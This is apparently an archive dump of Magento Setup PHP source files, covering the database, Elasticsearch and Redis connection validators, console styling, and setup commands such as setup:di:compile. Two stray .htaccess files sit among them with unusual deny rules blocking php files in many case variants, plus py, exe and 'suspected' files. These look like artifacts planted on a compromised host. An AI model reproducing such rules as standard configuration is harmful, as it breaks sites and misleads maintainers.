} /** * Checks Database Connection * * @param string $dbName * @param string $dbHost * @param string $dbUser * @param string $dbPass * @return bool * @throws \Magento\Setup\Exception * @deprecated */ public function checkDatabaseConnection($dbName, $dbHost, $dbUser, $dbPass = '') { return $this->checkDatabaseConnectionWithDriverOptions($dbName, $dbHost, $dbUser, $dbPass, []); } /** * Checks Database Connection with Driver Options * * @param string $dbName * @param string $dbHost * @param string $dbUser * @param string $dbPass * @param array $driverOptions * @return bool * @throws \Magento\Setup\Exception */ public function checkDatabaseConnectionWithDriverOptions( $dbName, $dbHost, $dbUser, $dbPass = '', $driverOptions = [] ) { // establish connection to information_schema view to retrieve information about user and table privileges $connection = $this->connectionFactory->create( [ ConfigOptionsListConstants::KEY_NAME => 'information_schema', ConfigOptionsListConstants::KEY_HOST => $dbHost, ConfigOptionsListConstants::KEY_USER => $dbUser, ConfigOptionsListConstants::KEY_PASSWORD => $dbPass, ConfigOptionsListConstants::KEY_ACTIVE => true, ConfigOptionsListConstants::KEY_DRIVER_OPTIONS => $driverOptions, ] ); if (!$connection) { throw new \Magento\Setup\Exception('Database connection failure.'); } $mysqlVersion = $connection->fetchOne('SELECT version()'); if ($mysqlVersion) { if (preg_match('/^([0-9\.]+)/', $mysqlVersion, $matches)) { if (isset($matches[1]) && !empty($matches[1])) { if (version_compare($matches[1], Installer::MYSQL_VERSION_REQUIRED) < 0) { throw new \Magento\Setup\Exception( 'Sorry, but we support MySQL version ' . Installer::MYSQL_VERSION_REQUIRED . ' or later.' ); } } } } return $this->checkDatabaseName($connection, $dbName) && $this->checkDatabasePrivileges($connection, $dbName); } /** * Checks if specified database exists and visible to current user * * @param \Magento\Framework\DB\Adapter\AdapterInterface $connection * @param string $dbName * @return bool * @throws \Magento\Setup\Exception */ private function checkDatabaseName(\Magento\Framework\DB\Adapter\AdapterInterface $connection, $dbName) { $query = "SHOW DATABASES"; $accessibleDbs = $connection->query($query)->fetchAll(\PDO::FETCH_COLUMN, 0); foreach ($accessibleDbs as $accessibleDbName) { if ($dbName == $accessibleDbName) { return true; } } throw new \Magento\Setup\Exception( "Database '{$dbName}' does not exist " ."or specified database server user does not have privileges to access this database." ); } /** * Checks database privileges * * @param \Magento\Framework\DB\Adapter\AdapterInterface $connection * @param string $dbName * @return bool * @throws \Magento\Setup\Exception */ private function checkDatabasePrivileges(\Magento\Framework\DB\Adapter\AdapterInterface $connection, $dbName) { $requiredPrivileges = [ 'SELECT', 'INSERT', 'UPDATE', 'DELETE', 'CREATE', 'DROP', 'INDEX', 'ALTER', 'CREATE TEMPORARY TABLES', 'LOCK TABLES', 'EXECUTE', 'CREATE VIEW', 'SHOW VIEW', 'CREATE ROUTINE', 'ALTER ROUTINE', 'TRIGGER' ]; // check global privileges // phpcs:ignore Magento2.SQL.RawQuery $userPrivilegesQuery = "SELECT PRIVILEGE_TYPE FROM USER_PRIVILEGES " . "WHERE REPLACE(GRANTEE, '\'', '') = current_user()"; $grantInfo = $connection->query($userPrivilegesQuery)->fetchAll(\PDO::FETCH_NUM); if (empty(array_diff($requiredPrivileges, $this->parseGrantInfo($grantInfo)))) { return true; } // check database privileges // phpcs:ignore Magento2.SQL.RawQuery $schemaPrivilegesQuery = "SELECT PRIVILEGE_TYPE FROM SCHEMA_PRIVILEGES " . "WHERE '$dbName' LIKE TABLE_SCHEMA AND REPLACE(GRANTEE, '\'', '') = current_user()"; $grantInfo = $connection->query($schemaPrivilegesQuery)->fetchAll(\PDO::FETCH_NUM); if (empty(array_diff($requiredPrivileges, $this->parseGrantInfo($grantInfo)))) { return true; } $errorMessage = 'Database user does not have enough privileges. Please make sure ' . implode(', ', $requiredPrivileges) . " privileges are granted to database '{$dbName}'."; throw new \Magento\Setup\Exception($errorMessage); } /** * Parses query result * * @param array $grantInfo * @return array */ private function parseGrantInfo(array $grantInfo) { $result = []; foreach ($grantInfo as $grantRow) { $result[] = $grantRow[0]; } return $result; } } Magento/Setup/Validator/ElasticsearchConnectionValidator.php000077700000003650151323623130020346 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Validator; use Magento\Setup\Exception as SetupException; /** * Connection validator for Elasticsearch configuration */ class ElasticsearchConnectionValidator { /** * Validate elasticsearch connection * * Throws exception if unable to connect to Elasticsearch server * * @param array $options * @return bool * @throws \Exception */ public function isValidConnection(array $options) { $config = $this->buildConfig($options); $elasticsearchClient = \Elasticsearch\ClientBuilder::fromConfig($config, true); $elasticsearchClient->ping(); return true; } /** * Construct elasticsearch connection string * * @param array $options * @return array * @throws SetupException */ private function buildConfig(array $options) { $hostname = preg_replace('/http[s]?:\/\//i', '', $options['hostname']); // @codingStandardsIgnoreStart $protocol = parse_url($options['hostname'], PHP_URL_SCHEME); // @codingStandardsIgnoreEnd if (!$protocol) { $protocol = 'http'; } $authString = ''; if (isset($options['enableAuth']) && true === $options['enableAuth']) { if (empty($options['username']) || empty($options['password'])) { throw new SetupException( 'Search engine misconfiguration. Username and password must be set if authentication is enabled' ); } $authString = "{$options['username']}:{$options['password']}@"; } $portString = empty($options['port']) ? '' : ':' . $options['port']; $host = $protocol . '://' . $authString . $hostname . $portString; $options['hosts'] = [$host]; return $options; } } Magento/Setup/Validator/RedisConnectionValidator.php000077700000002171151323623130016637 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Validator; /** * Connection validator for Redis configurations */ class RedisConnectionValidator { /** * Validate redis connection * * @param array $redisOptions * @return bool */ public function isValidConnection(array $redisOptions) { $default = [ 'host' => '', 'port' => '', 'db' => '', 'password' => null, 'timeout' => null, 'persistent' => '' ]; $config = array_merge($default, $redisOptions); try { $redisClient = new \Credis_Client( $config['host'], $config['port'], $config['timeout'], $config['persistent'], $config['db'], $config['password'] ); $redisClient->setMaxConnectRetries(1); $redisClient->connect(); } catch (\CredisException $e) { return false; } return true; } } Magento/Setup/Validator/.htaccess000077700000000177151323623130012774 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Exception.php000077700000000367151323623130011721 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup; /** * Exception thrown if an error occurs on setup process. * * @api */ class Exception extends \Exception { } Magento/Setup/Application.php000077700000005677151323623130012237 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup; use Laminas\Mvc\Application as LaminasApplication; use Laminas\Mvc\Service\ServiceManagerConfig; use Laminas\ServiceManager\ServiceManager; /** * This class is wrapper on \Laminas\Mvc\Application * * It allows to do more customization like services loading, which * cannot be loaded via configuration. */ class Application { /** * Creates \Laminas\Mvc\Application and bootstrap it. * This method is similar to \Laminas\Mvc\Application::init but allows to load * Magento specific services. * * @param array $configuration * @return LaminasApplication */ public function bootstrap(array $configuration) { $managerConfig = isset($configuration['service_manager']) ? $configuration['service_manager'] : []; $managerConfig = new ServiceManagerConfig($managerConfig); $serviceManager = new ServiceManager(); $managerConfig->configureServiceManager($serviceManager); $serviceManager->setService('ApplicationConfig', $configuration); $serviceManager->get('ModuleManager')->loadModules(); // load specific services if (!empty($configuration['required_services'])) { $this->loadServices($serviceManager, $configuration['required_services']); } $listeners = $this->getListeners($serviceManager, $configuration); $application = new LaminasApplication( $configuration, $serviceManager, $serviceManager->get('EventManager'), $serviceManager->get('Request'), $serviceManager->get('Response') ); $application->bootstrap($listeners); return $application; } /** * Uses \Laminas\ServiceManager\ServiceManager::get method to load different kind of services. * Some services cannot be loaded via configuration like \Laminas\ServiceManager\Di\DiAbstractServiceFactory and * should be initialized via corresponding factory. * * @param ServiceManager $serviceManager * @param array $services * @return void */ private function loadServices(ServiceManager $serviceManager, array $services) { foreach ($services as $serviceName) { $serviceManager->get($serviceName); } } /** * Gets list of application listeners. * * @param ServiceManager $serviceManager * @param array $configuration * @return array */ private function getListeners(ServiceManager $serviceManager, array $configuration) { $appConfigListeners = isset($configuration['listeners']) ? $configuration['listeners'] : []; $config = $serviceManager->get('config'); $serviceConfigListeners = isset($config['listeners']) ? $config['listeners'] : []; return array_unique(array_merge($serviceConfigListeners, $appConfigListeners)); } } Magento/Setup/Console/Style/MagentoStyleInterface.php000077700000000456151323623130016720 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Style; use Symfony\Component\Console\Style\StyleInterface; /** * Interface for output decorator. */ interface MagentoStyleInterface extends StyleInterface { } Magento/Setup/Console/Style/.htaccess000077700000000177151323623130013551 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Console/Style/MagentoStyle.php000077700000042345151323623130015102 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Style; use Magento\Setup\Console\InputValidationException; use Symfony\Component\Console\Exception\RuntimeException; use Symfony\Component\Console\Formatter\OutputFormatter; use Symfony\Component\Console\Helper\Helper; use Symfony\Component\Console\Helper\ProgressBar; use Symfony\Component\Console\Helper\SymfonyQuestionHelper; use Symfony\Component\Console\Helper\Table; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\BufferedOutput; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Question\ChoiceQuestion; use Symfony\Component\Console\Question\ConfirmationQuestion; use Symfony\Component\Console\Question\Question; use Symfony\Component\Console\Style\OutputStyle; use Symfony\Component\Console\Terminal; /** * Magento console output decorator. * * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class MagentoStyle extends OutputStyle implements MagentoStyleInterface { /** * Default console line max length(use for limitation in case terminal width greater than 120 characters). */ const MAX_LINE_LENGTH = 120; /** * Console input provider. * * @var InputInterface */ private $input; /** * Style Guide compliant question helper. * * @var SymfonyQuestionHelper */ private $questionHelper; /** * Progress output provider. * * @var ProgressBar */ private $progressBar; /** * Calculated output line length. * * @var int */ private $lineLength; /** * Console output buffer provider. * * @var BufferedOutput */ private $bufferedOutput; /** * MagentoStyle constructor. * * @param InputInterface $input * @param OutputInterface $output */ public function __construct(InputInterface $input, OutputInterface $output) { $this->input = $input; $this->bufferedOutput = new BufferedOutput($output->getVerbosity(), false, clone $output->getFormatter()); // Windows cmd wraps lines as soon as the terminal width is reached, whether there are following chars or not. $currentLength = $this->getTerminalWidth() - (int)(DIRECTORY_SEPARATOR === '\\'); $this->lineLength = min($currentLength, self::MAX_LINE_LENGTH); parent::__construct($output); } /** * Formats a message as a block of text. * * @param string|array $messages The message to write in the block * @param string|null $type The block type (added in [] on first line) * @param string|null $style The style to apply to the whole block * @param string $prefix The prefix for the block * @param bool $padding Whether to add vertical padding * @return void */ public function block( $messages, string $type = null, string $style = null, string $prefix = ' ', bool $padding = false ) { $messages = is_array($messages) ? array_values($messages) : [$messages]; $this->autoPrependBlock(); $this->writeln($this->createBlock($messages, $type, $style, $prefix, $padding)); $this->newLine(); } /** * @inheritdoc */ public function title($message) { $this->autoPrependBlock(); $bar = str_repeat('=', Helper::strlenWithoutDecoration($this->getFormatter(), $message)); $this->writeln( [ sprintf(' <options=bold>%s</>', OutputFormatter::escapeTrailingBackslash($message)), sprintf(' <options=bold>%s</>', $bar), ] ); $this->newLine(); } /** * @inheritdoc */ public function section($message) { $this->autoPrependBlock(); $bar = str_repeat('-', Helper::strlenWithoutDecoration($this->getFormatter(), $message)); $this->writeln( [ sprintf(' <fg=white>%s</>', OutputFormatter::escapeTrailingBackslash($message)), sprintf(' <fg=white>%s</>', $bar), ] ); $this->newLine(); } /** * @inheritdoc */ public function listing(array $elements) { $this->autoPrependText(); $elements = array_map( function ($element) { return sprintf(' * %s', $element); }, $elements ); $this->writeln($elements); $this->newLine(); } /** * @inheritdoc */ public function text($message) { $this->autoPrependText(); $messages = is_array($message) ? array_values($message) : [$message]; foreach ($messages as $singleMessage) { $this->writeln(sprintf(' %s', $singleMessage)); } } /** * Formats a command comment. * * @param string|array $message * @param bool $padding * @return void */ public function comment($message, $padding = false) { $this->block($message, null, 'comment', ' ', $padding); } /** * @inheritdoc */ public function success($message, $padding = true) { $this->block($message, 'SUCCESS', 'fg=black;bg=green', ' ', $padding); } /** * @inheritdoc */ public function error($message, $padding = true) { $this->block($message, 'ERROR', 'fg=white;bg=red', ' ', $padding); } /** * @inheritdoc */ public function warning($message, $padding = true) { $this->block($message, 'WARNING', 'fg=black;bg=yellow', ' ', $padding); } /** * @inheritdoc */ public function note($message, $padding = false) { $this->block($message, 'NOTE', 'fg=yellow', ' ', $padding); } /** * @inheritdoc */ public function caution($message, $padding = true) { $this->block($message, 'CAUTION', 'fg=black;bg=yellow', ' ! ', $padding); } /** * @inheritdoc */ public function table(array $headers, array $rows) { $style = clone Table::getStyleDefinition('symfony-style-guide'); $style->setCellHeaderFormat('<info>%s</info>'); $table = new Table($this); $table->setHeaders($headers); $table->setRows($rows); $table->setStyle($style); $table->render(); $this->newLine(); } /** * @inheritdoc * @throws \Symfony\Component\Console\Exception\InvalidArgumentException */ public function ask($question, $default = null, $validator = null, $maxAttempts = null) { $question = new Question($question, $default); $question->setValidator($validator); $question->setMaxAttempts($maxAttempts); return $this->askQuestion($question); } /** * @inheritdoc * @throws \Symfony\Component\Console\Exception\LogicException */ public function askHidden($question, $validator = null) { $question = new Question($question); $question->setHidden(true); $question->setValidator($validator); return $this->askQuestion($question); } /** * @inheritdoc */ public function confirm($question, $default = true) { return $this->askQuestion(new ConfirmationQuestion($question, $default)); } /** * @inheritdoc */ public function choice($question, array $choices, $default = null) { if (null !== $default) { $values = array_flip($choices); $default = $values[$default]; } return $this->askQuestion(new ChoiceQuestion($question, $choices, $default)); } /** * @inheritdoc */ public function progressStart($max = 0) { $this->progressBar = $this->createProgressBar($max); $this->progressBar->start(); } /** * @inheritdoc * @throws \Symfony\Component\Console\Exception\LogicException * @throws \Symfony\Component\Console\Exception\RuntimeException */ public function progressAdvance($step = 1) { $this->getProgressBar()->advance($step); } /** * @inheritdoc * @throws \Symfony\Component\Console\Exception\RuntimeException */ public function progressFinish() { $this->getProgressBar()->finish(); $this->newLine(2); $this->progressBar = null; } /** * @inheritdoc */ public function createProgressBar($max = 0) { $progressBar = parent::createProgressBar($max); $progressBar->setEmptyBarCharacter(' '); $progressBar->setProgressCharacter('>'); $progressBar->setBarCharacter('='); return $progressBar; } /** * Ask user question. * * @param Question $question * * @return string */ public function askQuestion(Question $question) { if ($this->input->isInteractive()) { $this->autoPrependBlock(); } if (!$this->questionHelper) { $this->questionHelper = new SymfonyQuestionHelper(); } $answer = $this->questionHelper->ask($this->input, $this, $question); if ($this->input->isInteractive()) { $this->newLine(); $this->bufferedOutput->write(PHP_EOL); } return $answer; } /** * Ask for an missing argument. * * @param string $argument * @param string $question * @param string|null $default * @param callable|null $validator * @param int|null $maxAttempts * @param bool $comment * @param string $commentFormat * @throws \Symfony\Component\Console\Exception\InvalidArgumentException */ public function askForMissingArgument( string $argument, string $question, string $default = null, callable $validator = null, int $maxAttempts = null, bool $comment = null, string $commentFormat = 'Argument [%s] set to: %s' ) { try { if ($this->input->getArgument($argument) === null) { $this->input->setArgument($argument, $this->ask($question, $default, $validator, $maxAttempts)); } $argumentValue = $this->input->getArgument($argument); $validated = (is_callable($validator) ? $validator($argumentValue) : $argumentValue); if ((bool)($comment ?? $this->isDebug())) { $this->comment(sprintf($commentFormat, $argument, $validated)); } } catch (InputValidationException $e) { $this->error('Validation Error: ' . $e->getMessage()); $this->askForMissingArgument( $argument, $question, $default, $validator, $maxAttempts, $comment, $commentFormat ); } } /** * Ask for an missing option. * * @param string $option * @param string $question * @param string|null $default * @param callable|null $validator * @param int|null $maxAttempts * @param bool $comment * @param string $commentFormat * @throws \Symfony\Component\Console\Exception\InvalidArgumentException */ public function askForMissingOption( string $option, string $question, string $default = null, callable $validator = null, int $maxAttempts = null, bool $comment = null, string $commentFormat = 'Option [%s] set to: %s' ) { try { if (null === $this->input->getOption($option)) { $this->input->setOption($option, $this->ask($question, $default, $validator, $maxAttempts)); } $optionValue = $this->input->getOption($option); $validated = (is_callable($validator) ? $validator($optionValue) : $optionValue); if ((bool)($comment ?? $this->isDebug())) { $this->comment(sprintf($commentFormat, $option, $validated)); } } catch (InputValidationException $e) { $this->error('Validation Error: ' . $e->getMessage()); $this->askForMissingOption( $option, $question, $default, $validator, $maxAttempts, $comment, $commentFormat ); } } /** * @inheritdoc */ public function writeln($messages, $type = self::OUTPUT_NORMAL) { parent::writeln($messages, $type); $this->bufferedOutput->writeln($this->reduceBuffer($messages), $type); } /** * @inheritdoc */ public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL) { parent::write($messages, $newline, $type); $this->bufferedOutput->write($this->reduceBuffer($messages), $newline, $type); } /** * @inheritdoc */ public function newLine($count = 1) { parent::newLine($count); $this->bufferedOutput->write(str_repeat(PHP_EOL, $count)); } /** * Get progress bar instance. * * @return ProgressBar * @throws RuntimeException in case progress bar hasn't been instantiated yet. */ private function getProgressBar() { if (!$this->progressBar) { throw new RuntimeException('The ProgressBar is not started.'); } return $this->progressBar; } /** * Get terminal width. * * @return int */ private function getTerminalWidth() { $terminal = new Terminal(); $width = $terminal->getWidth(); return $width ?: self::MAX_LINE_LENGTH; } /** * Add empty line before output element in case there were no empty lines before. * * @return void */ private function autoPrependBlock() { $chars = substr($this->bufferedOutput->fetch(), -2); if (!isset($chars[0])) { $this->newLine(); //empty history, so we should start with a new line. } //Prepend new line for each non LF chars (This means no blank line was output before) $this->newLine(2 - substr_count($chars, PHP_EOL)); } /** * Add empty line before text(listing) output element. * * @return void */ private function autoPrependText() { $fetched = $this->bufferedOutput->fetch(); //Prepend new line if last char isn't EOL: if (PHP_EOL !== substr($fetched, -1)) { $this->newLine(); } } /** * Reduce buffer. * * @param array $messages * @return array */ private function reduceBuffer($messages) { // We need to know if the two last chars are PHP_EOL // Preserve the last 4 chars inserted (PHP_EOL on windows is two chars) in the history buffer return array_map( function ($value) { return substr($value, -4); }, array_merge([$this->bufferedOutput->fetch()], (array)$messages) ); } /** * Build output in block style. * * @param array $messages * @param string|null $type * @param string|null $style * @param string $prefix * @param bool $padding * @return array */ private function createBlock( array $messages, string $type = null, string $style = null, string $prefix = ' ', bool $padding = false ) { $indentLength = 0; $prefixLength = Helper::strlenWithoutDecoration($this->getFormatter(), $prefix); $lineIndentation = ''; if (null !== $type) { $type = sprintf('[%s] ', $type); $indentLength = strlen($type); $lineIndentation = str_repeat(' ', $indentLength); } $lines = $this->getBlockLines($messages, $prefixLength, $indentLength); $firstLineIndex = 0; if ($padding && $this->isDecorated()) { $firstLineIndex = 1; array_unshift($lines, ''); $lines[] = ''; } foreach ($lines as $i => &$line) { if (null !== $type) { $line = $firstLineIndex === $i ? $type . $line : $lineIndentation . $line; } $line = $prefix . $line; $multiplier = $this->lineLength - Helper::strlenWithoutDecoration($this->getFormatter(), $line); $line .= str_repeat(' ', $multiplier); if ($style) { $line = sprintf('<%s>%s</>', $style, $line); } } return $lines; } /** * Wrap and add new lines for each element. * * @param array $messages * @param int $prefixLength * @param int $indentLength * @return array */ private function getBlockLines( array $messages, int $prefixLength, int $indentLength ) { $lines = []; foreach ($messages as $key => $message) { $message = OutputFormatter::escape($message); $wordwrap = wordwrap($message, $this->lineLength - $prefixLength - $indentLength, PHP_EOL, true); $lines[] = explode(PHP_EOL, $wordwrap); if (count($messages) > 1 && $key < count($messages) - 1) { $lines[][] = ''; } } $lines = array_merge([], ...$lines); return $lines; } } Magento/Setup/Console/CommandList.php000077700000007037151323623130013600 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console; use Magento\Setup\Console\Command\TablesWhitelistGenerateCommand; use Laminas\ServiceManager\ServiceManager; /** * Class CommandList contains predefined list of commands for Setup. * * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class CommandList { /** * Service Manager * * @var ServiceManager */ private $serviceManager; /** * Constructor * * @param ServiceManager $serviceManager */ public function __construct(ServiceManager $serviceManager) { $this->serviceManager = $serviceManager; } /** * Gets list of setup command classes * * @return string[] */ protected function getCommandsClasses() { return [ \Magento\Setup\Console\Command\AdminUserCreateCommand::class, \Magento\Setup\Console\Command\BackupCommand::class, \Magento\Setup\Console\Command\ConfigSetCommand::class, \Magento\Setup\Console\Command\DbDataUpgradeCommand::class, \Magento\Setup\Console\Command\DbSchemaUpgradeCommand::class, \Magento\Setup\Console\Command\DbStatusCommand::class, \Magento\Setup\Console\Command\DependenciesShowFrameworkCommand::class, \Magento\Setup\Console\Command\DependenciesShowModulesCircularCommand::class, \Magento\Setup\Console\Command\DependenciesShowModulesCommand::class, \Magento\Setup\Console\Command\DiCompileCommand::class, \Magento\Setup\Console\Command\GenerateFixturesCommand::class, \Magento\Setup\Console\Command\I18nCollectPhrasesCommand::class, \Magento\Setup\Console\Command\I18nPackCommand::class, \Magento\Setup\Console\Command\InfoAdminUriCommand::class, \Magento\Setup\Console\Command\InfoBackupsListCommand::class, \Magento\Setup\Console\Command\InfoCurrencyListCommand::class, \Magento\Setup\Console\Command\InfoLanguageListCommand::class, \Magento\Setup\Console\Command\InfoTimezoneListCommand::class, \Magento\Setup\Console\Command\InstallCommand::class, \Magento\Setup\Console\Command\InstallStoreConfigurationCommand::class, \Magento\Setup\Console\Command\ModuleEnableCommand::class, \Magento\Setup\Console\Command\ModuleDisableCommand::class, \Magento\Setup\Console\Command\ModuleStatusCommand::class, \Magento\Setup\Console\Command\ModuleUninstallCommand::class, \Magento\Setup\Console\Command\ModuleConfigStatusCommand::class, \Magento\Setup\Console\Command\RollbackCommand::class, \Magento\Setup\Console\Command\UpgradeCommand::class, \Magento\Setup\Console\Command\UninstallCommand::class, \Magento\Setup\Console\Command\DeployStaticContentCommand::class ]; } /** * Gets list of command instances. * * @return \Symfony\Component\Console\Command\Command[] * @throws \Exception */ public function getCommands() { $commands = []; foreach ($this->getCommandsClasses() as $class) { if (class_exists($class)) { $commands[] = $this->serviceManager->get($class); } else { // phpcs:ignore Magento2.Exceptions.DirectThrow throw new \Exception('Class ' . $class . ' does not exist'); } } return $commands; } } Magento/Setup/Console/Command/AbstractModuleCommand.php000077700000006417151323623130017155 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Command; use Magento\Framework\ObjectManagerInterface; use Magento\Setup\Model\ObjectManagerProvider; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; /** * Abstract class for Enable and Disable commands to consolidate common logic */ abstract class AbstractModuleCommand extends AbstractSetupCommand { /** * Names of input arguments or options */ const INPUT_KEY_MODULES = 'module'; const INPUT_KEY_CLEAR_STATIC_CONTENT = 'clear-static-content'; /** * Object manager * * @var ObjectManagerInterface */ protected $objectManager; /** * Inject dependencies * * @param ObjectManagerProvider $objectManagerProvider */ public function __construct(ObjectManagerProvider $objectManagerProvider) { $this->objectManager = $objectManagerProvider->get(); parent::__construct(); } /** * {@inheritdoc} */ protected function configure() { $this->addArgument( self::INPUT_KEY_MODULES, InputArgument::IS_ARRAY | ($this->isModuleRequired() ? InputArgument::REQUIRED : InputArgument::OPTIONAL), 'Name of the module' ); $this->addOption( self::INPUT_KEY_CLEAR_STATIC_CONTENT, 'c', InputOption::VALUE_NONE, 'Clear generated static view files. Necessary, if the module(s) have static view files' ); parent::configure(); } /** * Returns if module argument is required * * @return bool */ abstract protected function isModuleRequired(); /** * Cleanup after updated modules status * * @param InputInterface $input * @param OutputInterface $output * @return void */ protected function cleanup(InputInterface $input, OutputInterface $output) { /** @var \Magento\Framework\App\Cache $cache */ $cache = $this->objectManager->get(\Magento\Framework\App\Cache::class); $cache->clean(); $output->writeln('<info>Cache cleared successfully.</info>'); /** @var \Magento\Framework\App\State\CleanupFiles $cleanupFiles */ $cleanupFiles = $this->objectManager->get(\Magento\Framework\App\State\CleanupFiles::class); $cleanupFiles->clearCodeGeneratedClasses(); $output->writeln( "<info>Generated classes cleared successfully. Please run the 'setup:di:compile' command to " . 'generate classes.</info>' ); if ($input->getOption(self::INPUT_KEY_CLEAR_STATIC_CONTENT)) { $cleanupFiles->clearMaterializedViewFiles(); $output->writeln('<info>Generated static view files cleared successfully.</info>'); } else { $output->writeln( "<info>Info: Some modules might require static view files to be cleared. To do this, run '" . $this->getName() . "' with the --" . self::INPUT_KEY_CLEAR_STATIC_CONTENT . ' option to clear them.</info>' ); } } } Magento/Setup/Console/Command/InfoTimezoneListCommand.php000077700000003514151323623130017501 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Command; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Command\Command; use Magento\Framework\Setup\Lists; use Symfony\Component\Console\Helper\TableFactory; use Magento\Framework\App\ObjectManager; /** * Command prints list of available timezones */ class InfoTimezoneListCommand extends Command { /** * List model provides lists of available options for currency, language locales, timezones * * @var Lists */ private $lists; /** * @var TableFactory */ private $tableHelperFactory; /** * @param Lists $lists * @param TableFactory $tableHelperFactory */ public function __construct(Lists $lists, TableFactory $tableHelperFactory = null) { $this->lists = $lists; $this->tableHelperFactory = $tableHelperFactory ?: ObjectManager::getInstance()->create(TableFactory::class); parent::__construct(); } /** * {@inheritdoc} */ protected function configure() { $this->setName('info:timezone:list') ->setDescription('Displays the list of available timezones'); parent::configure(); } /** * {@inheritdoc} */ protected function execute(InputInterface $input, OutputInterface $output) { $tableHelper = $this->tableHelperFactory->create(['output' => $output]); $tableHelper->setHeaders(['Timezone', 'Code']); foreach ($this->lists->getTimezoneList() as $key => $timezone) { $tableHelper->addRow([$timezone, $key]); } $tableHelper->render(); return \Magento\Framework\Console\Cli::RETURN_SUCCESS; } } Magento/Setup/Console/Command/ModuleEnableCommand.php000077700000001145151323623130016571 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Command; /** * Command for enabling list or all of modules */ class ModuleEnableCommand extends AbstractModuleManageCommand { /** * {@inheritdoc} */ protected function configure() { $this->setName('module:enable') ->setDescription('Enables specified modules'); parent::configure(); } /** * Enable modules * * @return bool */ protected function isEnable() { return true; } } Magento/Setup/Console/Command/DiCompileCommand.php000077700000034300151323623130016101 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Command; use Magento\Framework\App\ObjectManager; use Magento\Framework\Filesystem\DriverInterface; use Magento\Framework\Filesystem\Io\File; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; use Magento\Framework\Filesystem; use Magento\Framework\App\Filesystem\DirectoryList; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\Component\ComponentRegistrar; use Magento\Framework\Config\ConfigOptionsListConstants; use Magento\Setup\Model\ObjectManagerProvider; use Magento\Setup\Module\Di\App\Task\Manager; use Magento\Setup\Module\Di\App\Task\OperationFactory; use Magento\Setup\Module\Di\App\Task\OperationException; use Magento\Setup\Module\Di\App\Task\OperationInterface; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Helper\ProgressBar; use Magento\Framework\Console\Cli; /** * Command to run compile in single-tenant mode * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class DiCompileCommand extends Command { /** Command name */ const NAME = 'setup:di:compile'; /** * @var \Magento\Framework\App\DeploymentConfig */ private $deploymentConfig; /** * @var \Magento\Framework\ObjectManagerInterface */ private $objectManager; /** * @var \Magento\Setup\Module\Di\App\Task\Manager */ private $taskManager; /** * @var \Magento\Framework\App\Filesystem\DirectoryList */ private $directoryList; /** * @var \Magento\Framework\Filesystem */ private $filesystem; /** * @var array */ private $excludedPathsList; /** * @var \Magento\Framework\Filesystem\DriverInterface */ private $fileDriver; /** * @var ComponentRegistrar */ private $componentRegistrar; /** * @var File */ private $file; /** * Constructor * * @param DeploymentConfig $deploymentConfig * @param DirectoryList $directoryList * @param Manager $taskManager * @param ObjectManagerProvider $objectManagerProvider * @param Filesystem $filesystem * @param DriverInterface $fileDriver * @param \Magento\Framework\Component\ComponentRegistrar $componentRegistrar * @param File|null $file * @throws \Magento\Setup\Exception */ public function __construct( DeploymentConfig $deploymentConfig, DirectoryList $directoryList, Manager $taskManager, ObjectManagerProvider $objectManagerProvider, Filesystem $filesystem, DriverInterface $fileDriver, ComponentRegistrar $componentRegistrar, File $file = null ) { $this->deploymentConfig = $deploymentConfig; $this->directoryList = $directoryList; $this->objectManager = $objectManagerProvider->get(); $this->taskManager = $taskManager; $this->filesystem = $filesystem; $this->fileDriver = $fileDriver; $this->componentRegistrar = $componentRegistrar; $this->file = $file ?: ObjectManager::getInstance()->get(File::class); parent::__construct(); } /** * @inheritdoc */ protected function configure() { $this->setName(self::NAME) ->setDescription( 'Generates DI configuration and all missing classes that can be auto-generated' ); parent::configure(); } /** * Checks that application is installed and DI resources are cleared * * @return string[] */ private function checkEnvironment() { $messages = []; $config = $this->deploymentConfig->get(ConfigOptionsListConstants::KEY_MODULES); if (!$config) { $messages[] = 'You cannot run this command because modules are not enabled. You can enable modules by' . ' running the \'module:enable --all\' command.'; } return $messages; } /** * @inheritdoc */ protected function execute(InputInterface $input, OutputInterface $output) { $errors = $this->checkEnvironment(); if ($errors) { foreach ($errors as $line) { $output->writeln($line); 